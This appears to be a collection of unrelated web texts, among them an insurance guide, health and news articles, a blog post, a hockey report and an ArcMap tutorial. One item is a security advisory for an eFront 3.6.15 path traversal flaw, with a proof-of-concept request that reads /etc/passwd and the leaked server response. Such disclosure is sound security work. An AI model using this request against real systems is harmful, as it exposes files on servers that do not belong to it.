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Scotland's process and manufacturing industries are key to its prosperity, yet environmental regulation and rising pressure from the EU ETS will increasingly affect investment and operating costs.
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Minimalist Guide to Business Insurance for the Self-Employed
If you're self-employed, then you already know that no human resources administrator is going to present you with a portfolio of insurance options. You're going to have to shop around and buy them yourself.
So, what kind of insurance options should you look for? Here are several of them.
1. Health Insurance
Today, almost everybody understands the value of quality health insurance. The costs of medical care have skyrocketed over the past few decades and that trend shows no signs of slowing down.
To find the best policy, you should consult with a qualified insurance broker. A good broker will know which policies offer the biggest bang for the buck, which ones are the best for your personal circumstances, and which policies are compliant with existing federal law regarding health care coverage.
2. Business Owner Insurance
Business owner insurance is a comprehensive insurance package that combines the various types of necessary insurance coverage. A business owner insurance policy will typically provide protection from lawsuits, loss of income, and damage to property.
3. Property And Casualty Insurance
You've insured your house against damage caused by fire or a storm, right? Why wouldn't you do the same with your business property? This is especially important if you own the commercial real estate where you conduct your business. Property insurance will cover your business assets in the event that fire, vandalism, or theft causes damage.
4. Liability Insurance
Liability insurance, sometimes called commercial general liability insurance, is just what it sounds like. It covers your business (and you) in the event that you're found liable for damages to someone's person or property. However, liability insurance not only covers you in the event that you're successfully sued, it also covers the attorney fees that you accrue while defending yourself against the lawsuit. In short, it's a must-have policy for any business owner in this litigious age.
5. Errors And Omissions Insurance
Errors and omissions insurance, sometimes called E&O, is a great option for people who provide a service. As the name implies, E&O covers you in the event that a mistake you make in your professional capacity causes financial loss to someone else. For example, if you're a physician and you make a mistake in diagnosing a patient that ends up costing the patient tens of thousands of dollars in additional medical bills, that patient could successfully sue you for damages. In that case, your E&O would cover the cost of the damages.
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Staten Island, NY (PRWEB) May 15, 2013
Most people with Parkinson's Disease are unaware that they are losing their sense of smell. However, according to Dr. Ben Weinstock, a local physical therapist, a poor sense of smell could signal something much worse: a loss of nerve cells in the heart. Recent studies have shown that the loss of specific brain cells that process odors has a close correlation with the loss of cardiac neurons in Parkinson's Disease. "If that loss is severe enough, the additional stress of exercise could lead to a wide range of complications, such as fatigue, fainting, abnormal heart rhythms, even sudden death," said Dr. Weinstock. "There are numerous benefits of exercise in Parkinson's. An important aspect of physical therapy is to enhance the exercise experience by minimizing the risks and complications."
In the United States alone, the financial costs of Parkinson's Disease run into billions of dollars. With the aging of the population, these numbers are expected to double in coming years. Reducing complications could improve the quality of life for people with the disease, in addition to being be a huge money-saver.
Weinstock, founder of Weinstock Physical Therapy, PC, uses the University of Pennsylvania Smell Identification Test (UPSIT), known commercially as the Smell Identification Test. It has been tested on thousands of patients worldwide and used in hundreds of scientific studies. The results of UPSIT, in conjunction with other tests, gives clues as to how much the heart may be involved in Parkinson's Disease.
A common misconception about Parkinson's Disease is that it is only a movement disorder, causing tremor, muscle rigidity, difficulty walking, balance problems, and slowness of movement. Actually, Parkinson's is almost always preceded by what is known as "non-motor signs," problems that involve other body systems. These could be constipation, loss of smell, poor sleep, depression, and fatigue. As time progresses, the non-motor problems have to potential to severely impact the quality of life for people with the disease if not detected and treated properly.
Dr. Weinstock has developed an innovative methodology to evaluate and treat patients with Parkinson's Disease and related disorders called 'The Parkinson's Exercise Prescription™', or PEP. According to Dr. Weinstock, "PEP is a paradigm shift because it integrates research from the growing fields of neurocardiology and autonomic medicine in addition to current physical therapy approaches." Besides the smell identification test, Weinstock checks other aspects of non-motor involvement, which allows for the refinement of exercise levels for each patient with Parkinson's. "This is absolutely critical as no two patients are alike. One could have severe non-motor problems, but relatively minor motor involvement. Another could be just the opposite. Parkinson's is an extremely complex disease, and requires a complex physical therapy evaluation. That is why the approach is a 'prescription' and not a 'program'—exercises are personalized for each patient."
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How I Spent My Summer Vacation: Stephan Pyles and Katherine Clapner
Stephan Pyles and Katherine Clapner decided to explore the exotic countries of Thailand, Cambodia, Vietnam, and Singapore together. I spoke with Clapner just before she left and she said she really wanted to focus on learning more about spices. "I want to do the whole Spice Route someday," she said. I can't think of a more fun person to do that trip. Pyles and Clapner took off last week. They send this culinary postcard.
We had a pretty grand time in Bangkok where we were hosted by chef Siri "McDang," who is a television chef/instructor and the great great grandson of King Rama the 4th. We spent a day at the market and did some pretty serious Thai cooking at his condo and television studio which is right on the river.
Our best dinner was at Nahm where we had a nice long conversation with the brilliant chef, David Thompson. We had a dish with watermelon, mango, and dried, fried chopped fish (maybe perch?) with toasted coconut. Delicious! (Picture below)
We also had some beautiful curries – red curry with pork and coriander, green curry with tiger prawns and apple eggplants. But the best was coconut-turmeric curry with blue summer crab and calamansi leaves.
Cambodia was mostly temples. We did have an interesting meal at Cuisine Wat Damnak in Siem Reap and I had an Oreo Blizzard at the Dairy Queen (yep!) at the Siem Reap airport.
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If you are alive and in Australia, chances are you have had a pint in a Royal.
This wonderful land is crawling with Royal Hotels and one curious Aussie recently went looking for answers.
"Something that tickles my imagination is how come there's a Royal Hotel in just about every town in Australia?" Berril Castles asked ABC's Curious Central West.
The ABC went to Emeritus Professor of History at La Trobe University and co-author of "The Australian Pub" to get to the bottom of it.
"It's quite true the Royal was the most popular name for a pub in Australia for something like 120 years," Professor Kirkby said.
That's a pretty good innings, and according to Kirby, there are two likely reasons for it.
The first is that it was an early marketing technique. Before digital influencers were secretly selling you stuff on YouTube, the advertising industry was far less subtle. Calling yourself "The Royal" simply gave you a connection to the actual British royal family, who were still a pretty big deal a century ago.
Best of all? Naming your pub The Royal cost nothing and no one could sue you for it.
Other common pub names relate to royalty, which lends credence to the first theory. You also may have found yourself in a "Victoria", "Grand" or "Crown" at some point.
Having been to a few Royals, I can testify that the connection to royalty is pretty slight. But if you squint, down three pints and use your imagination, you can surely picture it.
The second major reason behind the prevalence of "Royal" pubs is connected to Australia's colonial past. Early hotels were set up on transport routes used by the Royal Mail, and Kirby says that Royal Hotels were perhaps official coach stops along those routes.
According to Publocation, a site dedicated to Aussie pubs, "Royal" is the most popular name for a pub with 242 across the country.
This is followed by "Commercial" (137) in distant second and then "Club" (107). "Grand" (81) and "Railway" (74) round out the top five.
ABC notes that one Aussie legend named Joan Tunstell has spent the last decade photographing Royals all over Australia.
You can see the whole collection, which is pushing 100, on her blog. You're almost halfway there, Joan – keep it up!
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Roger Chou, MD; Laurie Hoyt Huffman, MS; Rongwei Fu, PhD; Ariel K. Smits, MD, MPH; P. Todd Korthuis, MD, MPH
Acknowledgments: The authors thank Kim Villemyer for her help in preparing the full evidence report and the manuscript, Christina Bougatsos for her help in preparing the manuscript, and Andrew Hamilton, MLS, MS, for conducting the literature searches. They also thank Heidi D. Nelson, MD, MPH; David Lanier, MD; members of the USPSTF; and reviewers for their contributions to this project.
Grant Support: This study was conducted by the Oregon Evidence-based Practice Center under contract to the Agency for Healthcare Research and Quality, contract 290-02-0024, Task Order no. 2, for the U.S. Preventive Services Task Force.
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HIV infection affects 850 000 to 950 000 persons in the United States. The management and outcomes of HIV infection have changed substantially since the U.S. Preventive Services Task Force issued recommendations in 1996.
To synthesize the evidence on risks and benefits of screening for HIV infection.
MEDLINE, the Cochrane Library, reference lists, and experts.
Studies of screening, risk factor assessment, accuracy of testing, follow-up testing, and efficacy of interventions.
Data on settings, patients, interventions, and outcomes were abstracted for included studies; quality was graded according to criteria developed by the Task Force.
No trials directly link screening for HIV with clinical outcomes. Many HIV-infected persons in the United States currently receive diagnosis at advanced stages of disease, and almost all will progress to AIDS if untreated. Screening based on risk factors could identify persons at substantially higher risk but would miss a substantial proportion of those infected. Screening tests for HIV are extremely (>99%) accurate. Acceptance rates for screening and use of recommended interventions vary widely. Highly active antiretroviral therapy (HAART) substantially reduces the risk for clinical progression or death in patients with immunologically advanced disease. Along with other adverse events, HAART is associated with an increased risk for cardiovascular complications, although absolute rates are low after 3 to 4 years.
Data are insufficient to estimate the effects of screening and interventions on transmission rates or in patients with less immunologically advanced disease. Long-term data on adverse events associated with HAART are not yet available.
Benefits of HIV screening appear to outweigh harms. The yield from screening higher-prevalence populations would be substantially higher than that from screening the general population.
Screening for HIV—analytic framework for screening asymptomatic adolescents and adults.KQ
Table 1. Asymptomatic Adolescents and Adults at High Risk for HIV Infection
Table 2. Effectiveness of Primary Prophylaxis againstPneumocystis cariniiPneumonia and Cerebral Toxoplasmosis in HIV-Infected Patients
Table 3. Effectiveness of Primary Prophylaxis against DisseminatedMycobacterium avium intracellulareInfection in HIV-Positive Patients
Table 4. Studies Evaluating When To Initiate Antiretroviral Therapy in HIV-Infected Patients
Table 5. Outcomes of Counseling and One-Time Screening for HIV Infection after 3 Years in 3 Hypothetical Cohorts of 10 000 Asymptomatic Adolescents and Adults
Table 6. Summary of Findings of the Systematic Evidence Review
Appendix Table. Base-Case Assumptions for Outcomes Tables (Table 5) of Counseling and One-Time Screening for HIV Infection
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Twitter Campaign Calls on All of France to Wear Kippot
Suggested move of solidarity grows on social media as France's Jewish community agonizes over calls to remove the skull cap in public over safety concerns.
Despite, or rather due to recent racial tensions in France, a campaign calling for everyone to wear the Jewish kippa gained ground on social media Wednesday.
Spread largely on Twitter and joined with the hashtag "#TousAvecUneKippa" (everyone with a kippa), the campaign featured photoshopped images of recognizable public figures wearing the skull cap - from actor Brad Pitt to Russian President Vladimir Putin.
#TousAvecUneKippa pic.twitter.com/rmXdOozdz2— Inglourious Basterds (@LesBasterds) January 12, 2016
Si Poutine porte une Kippa #TousAvecUneKippa pic.twitter.com/hlhYCWHzBx— Sacha Rojtman Dratwa (@SachaDratwa) January 12, 2016
Many of the tweets specifically called on members of the general public to wear a kippa on Friday at 10 A.M. in solidarity with the Jewish community in light of recent attacks that have unnerved local Jews and spurred calls from a few community leaders to leave the skull cap at home as a matter of saftey.
Representatives of the Jewish community of Marseille issued conflicting statements on the controversial calls to abandon the kippa in public.
Je suis une fille, mais… #Jeportelakippa MT @SachaDratwa: #TousAvecUneKippa pic.twitter.com/FGpBW831ud— tatiana f salomon ن✡ (@tfsalomon) January 13, 2016
Tzvi Ammar, president of the local office of the Consistoire, the French Jewish community's organization responsible for religious services, began the public debate on Tuesday when he by Le Figaro as saying Jews should "remove the kippa during these troubled times" because "the preservation of life is sacrosanct."
But Michele Teboul, president of the local branch of CRIF – an umbrella group that represents French Jewish communities politically as a lobby – told JTA that she "could not support a measure which dials back hundreds of years during which Jews were able to practice their faiths and live freely as citizens of the French Republic."
Nouveaux visuels, faites tourner !
#TousAvecUneKippa pic.twitter.com/hvXfYf1mUF— Sophie (@mllesosso) January 13, 2016
Jewish individuals "should decide whether to wear a hat on top of their kippa, depending on the situation, but removing one's kippa seems unwarranted," Teboul said.
Ammar's statement, which he said "turns his stomach" and is born of "grave circumstances that require extraordinary measures," came after the stabbing of a Jewish man in Marseille on Tuesday, allegedly by a 15-year-old Muslim radical. He sustained minor injuries.
In November, a Jewish teacher was stabbed and seriously injured by a man who hurled insults at him along with two other men, one of whom was wearing a T-shirt with the logo of the Islamic State terrorist group. The previous month, a Frenchman of Algerian descent stabbed a Jewish man who was returning from synagogue and assaulted two others, including a rabbi.
Marseille has 80,000 Jews in a total population of approximately 850,000. About a third of its residents are Muslim, according to estimates.
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eFront 3.6.15 - Path Traversal Vulnerability. Webapps exploit for php platform
eFront 3.6.15 Path Traversal Vulnerability
[+] Author: Filippo Roncari
[+] Target: eFront
[+] Version: 3.6.15 and probably lower
[+] Vendor: www.efrontlearning.net
[+] Accessibility: Remote
[+] Severity: High
[+] CVE: <requested>
[+] Full Advisory: https://www.securenetwork.it/docs/advisory/SN-15-02_eFront.pdf
[+] Info: firstname.lastname@example.com
[+] Summary
eFront is an open source Learning Management System (LMS) used to create and manage online training courses. From Wikipedia: âeFront is designed to assist with the creation of online learning communities while offering various opportunities for collaboration and interaction through an icon-based user interface. The platform offers tools for content creation, tests building, assignments management, reporting, internal messaging, forum, chat, surveys, calendar and othersâ.
[+] Vulnerability Details
eFront 3.6.15 is prone to a critical path traversal vulnerability involving the view_file.php module, due to improper user-input sanitization and unsafe inner normalize() function logic. Any unprivilieged attacker could exploit this vulnerability by manipulating HTTP parameter value in order to climb the directories tree and access arbitrary files on the remote file system. This issue can lead to critical confidentiality violations, depending on the privileges assigned to the application server.
[+] Technical Details
View full advisory at https://www.securenetwork.it/docs/advisory/SN-15-02_eFront.pdf for technical details and source code.
[+] Proof of Concept (PoC)
[!] PoC URL
[!] HTTP Request
GET /test/efront/www/view_file.php?action=download&file=/Applications/MAMP/htdocs/test/efront/../../../../../etc/passwd/ HTTP/1.1
Host: localhost
Cookie: display_all_courses=1; PHPSESSID=d36bed784e063e65cf31721f8ec7a0bd; SQLiteManager_currentLangue=6;
PHPSESSID=d36bed784e063e65cf31721f8ec7a0bd; parent_sid=d36bed784e063e65cf31721f8ec7a0bd
[!] HTTP Response
Date: Mon, 30 Mar 2015 13:20:43 GMT Content-Description: File Transfer
Content-Disposition: attachment; filename="passwd" Content-Transfer-Encoding: binary
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public
Content-Length: 5253
Content-Type: application/download
# User Database #
# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by
# Open Directory. #
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
For technical details and explanations check the full advisory.
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Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.


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Tuesday, December 17, 2013
miracles on Pink House Street.
woah, my goodness.
here it is--almost christmas...yet the high for tomorrow is predicted to be 80 degrees. 80! this afternoon i cleaned the backyard while simultaneously playing house with leah (she was the mother, i was the daughter, and Hippo played the newborn baby), and i began hosing off some of the dusty/dirty outdoor toys. i rolled up my jeans to hit just below my knees, preventing them from getting wet with the spraying water. i worked from one end of the yard to the next, throwing away broken plastic, sweeping leaves and wiping surfaces, all the while quietly cracking up as i watched leah bounce around with baby Hippo on her hip.
when i finished, i came inside to dry off my legs, and noticed i had new flip-flop tan lines. tan lines! on december 16th! i'm a girl who was born of christmases filled with frigid temperatures and falling snow, and though this will be our fifth winter in arizona, the december warmth still takes me by surprise.
we are currently working on Miracles over here, in our Pink House.
ben is scrambling to write his dissertation, with the hope he will be able to actually attend the interviews for internship he has accepted to show up for all over the country during the month of january. his adviser has (again!) told him to accept the fate of not going out on internship this year, with the very unlikely possibility of his dissertation being finished and defended by the date of january 31st, 2014. we are continuing to (again!) ignore his persistent opinion of ben's demise and push on as though it's meant to all come together. are we delusional? quite possibly. at this point, delusion is all we have.
so although he has been unemployed since the end of november, i have not seen much of him and expect to see even less with the coming weeks.
i have signed myself back up in a group therapy, have i written that yet? probably not, since i haven't written much lately. this is something i've wanted to do since the beginning of the year, and for several reasons purposely held off until october. i am back to fighting that fear again, pushing myself out of my comfort zone in many ways--and then in other ways i am so comfortable in this environment. i absolutely love it, surrounded by women who are digging out unhealthy while uncovering the source of its roots so they can be moved, changed. i still have roots there, more subtle and less deep than the last time i started, but they are there. i sense them when i feel discomfort or fear of vulnerability or desire to be liked. this environment helps me to sense them quicker and more often, so i can begin my own digging again. it's both exciting and terrifying, in almost equal parts.
it's come at a perfect time, when i am giving so much that monday mornings have turned into my sanctuary--what i have to count on, just for myself. i used to feel guilty about needing this. i no longer do. after what i learned the last time in group therapy, i know this will mold me to becoming a better version of myself, spilling over into all of my different roles. i know good comes from this, when my heart is open and vulnerable.
i have my theme for 2014 already picked, but i won't say it yet. it was a thought that came to me a few days ago, and once it was there, i knew that was it. working on eliminating fear in 2013 was a stepping stone to getting to this new one, and i can already feel the difficulty that lies ahead. but i look back at what i have learned this past year, and how free i have felt. the best part is that i can't remember a time when i didn't feel this way, which is surprising on its own. i used to recognize this feeling as foreign and new, and was hungry for more of it. now it is what i know--and i feel this is my own small Miracle.
the kids are doing well--leah has recovered from her tonsillectomy but unfortunately still has the sleep apnea we hoped would be cured. we'll do another sleep study in january to see where things are at with her. caleb has lost his two front teeth, and went on his first bike ride without one of us there with him. another Miracle. ben and i cried when he came home and we heard how well he did. these things that are so easy for some and a struggle for others--that's what life is all about, isn't it? recognizing them, overcoming them, crying when we return from the battle. june is fighting a beast of an illness right now, and is passing it on to us as we drop like flies one-by-one, but otherwise is her usual chattering, puppy-pretending self.
we are busy and happy and stressed and grateful. i don't love that i haven't made the time to write, because when i look back it appears i've missed so much that's important to remember. even though i'm living fully in them, when i can't look back and read about them, the hours seem to slip through my fingers as if they've never happened.
though now that i'm looking back, it seems december is like this every year, isn't it? so i guess we'll just roll up our jeans, enjoy the tan lines while we can, and keep working on Miracles.
3 comments:
- brandon said...
seriously praying for a million miracles to come your way. You guys deserve it. I know that. God knows that. And I know that things will come at just the right time.
Love you all!!
- December 17, 2013 at 10:34 AM
- Rachel Chick said...
I sure love you, Ms. Strader. I'm so glad that things are going well. I miss you and reading about your day to day makes me wish so much that you were my neighbor. {sigh} I'm praying for you and I know down deep in my guts that the Lord is guiding your path - regardless of what happens with Beef Jerky Man. Thanks for your words. They speak to my heart.
- December 17, 2013 at 11:51 AM
- Nana said...
To be at peace with areas of your life, is a miracle. I know how hard you've worked. It will always be a struggle in your life to be aware of, but you are not alone. God watches over His children and loves them. You are loved very much by our Heavenly Father as well as many family and friends. I do love you Lynsey! I'm so sorry you're suffering from the flu, but I hope your Christmas will be filled with happiness and joy and a peace only God can give His children!
- December 18, 2013 at 6:01 AM


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RE/MAX International and their associates, are focused on giving back to the communities. Through corporate and individual sponsorship, we are helping make a difference in the lives of families around the world. With each transaction Gayle closes, Gayle and her team donate a portion of their commission to one of several charities. If there is a charity close to your heart, please let us know and we can reallocate the donation to them.
Children's Miracle Network hospitals treat millions of children each year for every disease and condition imaginable, and RE/MAX real estate agents help support that mission by raising millions of dollars annually. When Gayle makes a donation, the money is sent to Phoenix Children's Hospital. This hospital is dear to our hearts having known kids that have benefited from their care and expertise.
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In this article you will learn four keys to using corporate communication wisely so that it is intentional rather than reactionary. A true leader works diligently to craft clear and compelling communication.
Archive | Communications
Great Leaders Cultivate Curiosity
Curiosity is more than a mindset. Curiosity is a tool that can be cultivated to help you engage your team, address performance problems, gain understanding, and resolve conflict.
The Value of Storytelling in Organizational Change
A good story lets you experience something as if you are actually there. Leaders throughout history have long known the power of stories to inspire, motivate and move people to achieve things they never believed they were capable of achieving.
The Expensive Missing Leadership Skill
Leaders, your writing skills, or lack thereof, are one of the main reasons your teams are frustrated, confused, and disengaged, and why projects take longer and cost more than projected.
Create a Culture of Truth Telling
One of the core reasons for workplace drama and dysfunction is the inability to have honest dialogues with others–the inability to speak your truth. If the truth would have been spoken five years ago, there wouldn't be such a blow up in the first place.
Why Communication is a Critical Skill Not a Soft Skill
Right or wrong, people make judgments. As a leader you must understand that the actions you take, the decisions you make, and the language you use work together to help people form an opinion of you.
Culture Change: In the Beginning Was Drama
Culture change always involves at least three things: Beliefs, behaviors, and thought leaders. The beliefs which are invisible, the behaviors which are visible, and a thought leader who has the vision and willingness to initiate the change.
We Are All Adults: The Ultimate Red Flag
"We're all adults here!" That statement is always a big red flag that drama is right around the corner. You can't rely on good behavior, good decision-making, or good ideas just because people are a certain age and are considered to be "adults."
The Art of Asking Questions
Mastering the Art of Asking Questions is essential if you want to succeed. It's not simply a matter of getting in the habit of utilizing questions in your interactions with people. It's really about learning how to ask the right questions at the right time.
40-Year Old Communication Myth Busted, Words Not Body Language Are the Foundation of Successful Communication
Whoever spent time as a child on a school playground and been the victim of name calling knows the deflective phrase used to counter those slurs, "sticks and stones may break my bones but names can never hurt me," isn't enough to overcome the impact of those bullying communications to youthful, developing ears. Words are […]


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Banbridge Academy were crowned all-Ireland schoolgirl hockey champions for the first time when they crushed a gallant Ursuline Convent Thurles side 6-2 in the final game of the Kate Russell Cup tournament at Havelock Park.
The Academy were indebted to captain fantastic, Orla Thompson, who scored a first-half hat-trick as Bann built up an unassailable 5-1 interval lead against the Tipperary girls.
Orla's team needed any sort of win going into the last game of the tournament but their task could have been more difficult had Muckross Park not scored a late equaliser to draw 1-1 with Kilkenny College in the previous game.
Had Kilkenny, who had drawn 1-1 with their hosts earlier in the day, held on for the three points that would have left the Academy needing to win by three clear goals against Ursuline.
However, it's doubtful whether the Munster side, with only pride to play for, could have prevented a rampant Banbridge side from achieving that notional target which they did for good measure anyway.
After the final, Banbridge's inspirational captain was presented with the Kate Russell Cup by Hockey Ireland president Ivy Dennis.
"It was my last game for the Academy and I will be sad to leave the school but what a way to finish off the season, with our first All-Ireland title after also winning the Ulster Senior Cup for the first time earlier in the month." said Orla.
"We didn't really know what to expect going into the Kate Russell because we knew very little about the teams we were up against.
"But it all came good in the end after what was a superb effort from the entire squad and what can I say about our coach, Neil Madeley - he's an absolute legend.
"We were really professional during the tournament even down to Neil arranging for us to have ice-baths between games.
"We made sure we stayed off our feet between matches because we knew that rest and recovery was important with four games in two days," she added.
Bann got off to the perfect start as Katie McKee eased any early nerves after only 20 seconds with a superb solo effort.
Drifting down the left and firing an unstoppable reverse-stick shot low into the net from a wide angle.
Seven Minutes later, Lauren McGaw made it 2-0 after a clever pass from McKee had found Thompson who icked out her team mate at the far post.
Then Charley Brush set up Thompson for her first goal in the 12th minute following a well-rehearsed penalty-corner switch.
The Academy heroine made it 4-0 with a carbon-copy following another set-piece and then Thompson completed her hat-trick before the break after Caoimhe Perdue had scored to make it 4-1.
Izzy Walsh again reduced the margin two minutes after the break but, seven minutes later, McKee crossed from the left for Nadia Benallal to wrap things up and cue the celebrations.
Results: Banbridge 1 (O Thompson) Kilkenny 1; Muckross Park 1 Colaiste Iognaid 0; Colaiste Iognaid 1 Ursuline 2; Kilkenny 1 Muckross Park 1; Banbridge 6 (K McKee, L McGaw, O Thompson 3, N Benallal) Ursuline 2;
Final placings: 1 Banbridge 10pts; 2 Kilkenny 8; 3 Muckross Park 7; 4 Ursuline 3; 5 Colaiste Iognaid 0.


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my white trash family by Kim Alsbrooks
Kim Alsbrooks, a Philadelphia based artist, has been painting miniature portraits on beer cans and fast food containers for her past ten years, developing her series my white trash family.
The series was developed in the middle of her frustration related to class distinction, probably guided by a combination of myth, history and a touch of sentimentalism about old wars and social structures.
In the act of portraying figures that we usually see in museums, the artist is challenging our perception of social elite by contrasting today's society with that of the past.
The result might seem quite shocking at first sight, but thinking of our social life, representation of it and whatever is related to this topic, we are forced - or at least, stimulated - to reflect about the development of society.


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Join Adam Wilbert for an in-depth discussion in this video Getting to know the ArcMap interface, part of ArcGIS Essential Training.
The primary tool that we'll use to assemble geospacial data to a map is called ArcMap. Let's get started by opening up one of the exercise files that I've provided. Go into the Exercise Files folder, into Chapter One, and find the file called 0103Interface, and double click on it. That should go ahead and launch ArcMap. ArcMap starts up, and I can see that this document contains a map of cities around the world. Now, if you're not seeing anything here in the middle portion of the screen, or if you have red exclamation marks over here underneath the word layers, then that means that ArcMap has lost contact with the data sources that this map is showing.
You'll need to review the movie called Working With GIS Data Files in order to see how to relink those data sources. Now let's take a look at the interface around the screen. Up along the top, I have the standard menus that come with most Windows programs. For instance, I have the File menu, the Edit menu, and so on. We'll take a look at a lot of these menus throughout this course. Below that, we have some toolbars. This first toolbar here along the top row is called our standard toolbar. The second toolbar down here is called our tools toolbar. We'll come back to those in just a moment. Below the toolbars, I have a section called table of contents here.
The table of contents displays all of the data that's currently being displayed in my map. For instance, I'm going to use the word layers. I have populated places, represented by this red circle. I have states and provinces, which are gray. I have graticules, which are white, so you can't really see it here, but in the map, you can see they're symbolized white. And then I also have this bounding box that goes around the full extent of the map. So that's the table of contents. The table of contents is currently pinned open. I can see that with this little pin icon right over here. If I click on it, the table of contents will automatically hide into a small little tab over here on the left.
To get back to it, I simply open it here by clicking on it, do whatever I need to do in the table of contents, and then as soon as I move off of it, say I click on my map, you'll notice that the table of contents automatically hides again. In order to force it to stay open, I'll click on the tab, and then click on the pin icon again to lock it open. Notice also that we have a close button right over here. If I close my table of contents, you'll notice that it removes it entirely from the interface. In order to get the table of contents back, we'll take a look up here on the standard toolbar, to this button right here. This will toggle my table of contents back off.
Now over on the right side of my screen, I have two additional tabs. One for catalogue, and one for search. These are currently unpinned, so that means that they'll automatically hide a reveal when I hover over the tabs, and when I move away, they'll automatically hide. Let's go ahead and click on the catalogue tab. I'm going to go ahead and press the pin button to lock it open for a moment. The catalogue tab opens up a little interface that'll allow us to add data to our map document. It provides a Windows Explorer-like interface for navigating the various files on our system. Let's go ahead and click the unpin icon here to return to a tab, and we'll take a look at search.
Search will allow us to look through our map documents here. By clicking on the map section, we can search through various map files. I can look through various data sources to find data sources that I might be interested in, and I can also do keyword searches on the various tools that are within the ArcMap interface. Search provides an easy way to find various items without having to dig through all the menus and buttons throughout the rest of the interface. Notice on these two tabs, we have the same pin and close icons, and again, just like with the table of contents, if I close these, it'll remove the tab from my screen. In order to get the catalogue, in search panels open again, we'll go back over here to the standard toolbar and we'll look at this button here, called catalogue, and this button here, called search.
Now both of those are added to my screen again, and you'll notice that they're locked open. If I click on the pin icon, they'll automatically hide. Along the bottom of my screen, I have what's called a status bar. The status bar is currently giving me a read out of my cursor position in decimal degrees. You can see that as I hover my cursor over the map document, you'll see the values are changing. It's giving me that read out in decimal degrees. If you're not seeing this status bar at the bottom, you can go over to the view menu and check it out here with the status bar button there. So let's return our attention to those toolbars up here along the top. You'll notice on the far left side of the toolbar, we have these four little dots, and when I hover over them, I get a crosshair.
All the toolbars in ArcMap can be repositioned wherever you like. Simply click on this section here with the four dots, and you can click, and drag and drop it away. Now that I've torn these tools apart, you can see that this one is called the standard toolbar. I can grab this other one over here, and drag and drop it over here, and you'll notice that it's called the tools toolbar. Now there are lots of different toolbars inside of ArcMap. If we go up to the customize menu, and point at toolbars, we'll see all of these different toolbars here that we can add into our interface, and there's a lot of them. This scrolls down over here. If we close one of our toolbars, let's say I go to the standard toolbar and click the close button here, you'll see it removes it from my interface.
In order to get it back, I just go to customize, toolbars, and then find the standard toolbar here. That'll load it back onto my screen, and if I want, I can go ahead and dock these around the screen. If I drag it up here to the top, you'll see it adds it back over here, but I can also move it around to various other places on the screen. I can move it on the bottom if I'd like, as well. Let's go ahead and put these back into position. Drag this one up, and then I'll drag the tools toolbar and place it where I started right below it. Let's go ahead and focus on navigating around our map document. Let's focus in on a couple of the tools on the tools toolbar that we'll use for navigating around our map document.
The first two icons are the magnifying glass. We have the plus magnifier, and the minus magnifier. These will zoom in and zoom out of my map document. If I click on the plus magnifier here, I can click to zoom in incrementally to my map, or I can drag a box to zoom into a specific area. The minus magnifier will allow me to do the same thing. I can click to zoom out, or I can click and drag out of the box, and that'll zoom out to a larger extent. The next tool over here is called the pan tool. It's represented by the hand. The hand, or the pan tool, will allow me to drag the map around, so if I click here and zoom in, now I can click on the pan tool, and now I can get around my map.
The next button is called the full extent button. It's represented by the globe. If I click on it, it'll zoom out of my map document to show all the data layers that are in my map. It'll show me the full extent. Next, I have some incrementals. Zoom in, and fixed zoom out buttons. These will zoom in and zoom out of the center of the screen without me having to click on the magnifying glass, and finally, I have these two buttons here. Go back to previous extent, and go to next extent. The go back to previous extent here will zoom back to my previous extent, so if I click on the zoom plus here, and zoom into New York, and click previous extent, it'll take me to where I just was, at which point I can click on next extent here to zoom back into New York, where I was a moment ago, so I can use the previous and next extent buttons to navigate through the history of my various views.
Now there's a couple of shortcut keys that are associated with the zoom and pan tools that will make your life easier here inside of ArcMap, and if you hover over your mouse here, over the tool tips, you'll see that it reads out where the shortcut keys are, so the zoom in tool is by holding down the Z key. The zoom out tool, you can hold down the X key to activate, and the pan tool, you can hold down the C key. Now note, if you're not seeing the tool tips here, we can go up to the customized menu here, and choose customize mode, and over here in the options section, we have the option to toggle our tool tips on or off, so if you're not seeing those tool tips, which are really handy, go ahead and toggle those on.
Go ahead and close this here. So let's go ahead and try out some of those shortcut keys. Now, unlike normal shortcut keys, these are ones that I call sticky keys. These, you actually have to hold down the key to toggle their stakes. So right now, I've got this little arrow tool, and you can go ahead and click on this arrow here to activate that tool. If I hold down the Z key, you'll notice that as my key is held down on the keyboard, the mouse cursor turns into that plus magnifier. As soon as I let go of the Z key, it changes back to the tool that I was currently at, so if I hold down Z, I get the plus magnifier. I can use it. And then as soon as I let go, it changes back to the tool I was at.
The X key does the same thing, but with the zoom out tool, so if I click on it, you'll see that my mouse cursor changes. I can click and drag to zoom back out, and the C key will temporarily turn on the pan tool, the hand. If I hold down C, I can drag and pan my map around, and as soon as I let go, it changes back to that pointer. Now there's one other key that I want to show you here. I'm going to press Z to zoom in, and I'll drag a box here around Washington, DC. The shortcut key that I find to be really useful is the Q key. If you hold down the Q key, that turns on what's called roaming mode, and now while the Q key is held down, you'll notice that my map starts moving around.
I can use my mouse here, and drag it around the screen, to push my map in various directions, so if I move my mouse to the left while the Q key is held down, you'll notice that my map pans over here towards the left. If I move my mouse up, you'll notice that the map pans up, and as I move my mouse down, you'll notice that my map pans down. Holding down the Q key activates that roaming mode, where you can move around the map just by moving the mouse. Now, all of the screen elements can be positioned wherever you'd like on the screen. We've already seen that you can tear off these toolbars here and move them wherever you'd like. We can do the same thing with the table of contents, the catalogue window, the search window, and other windows that we haven't seen yet.
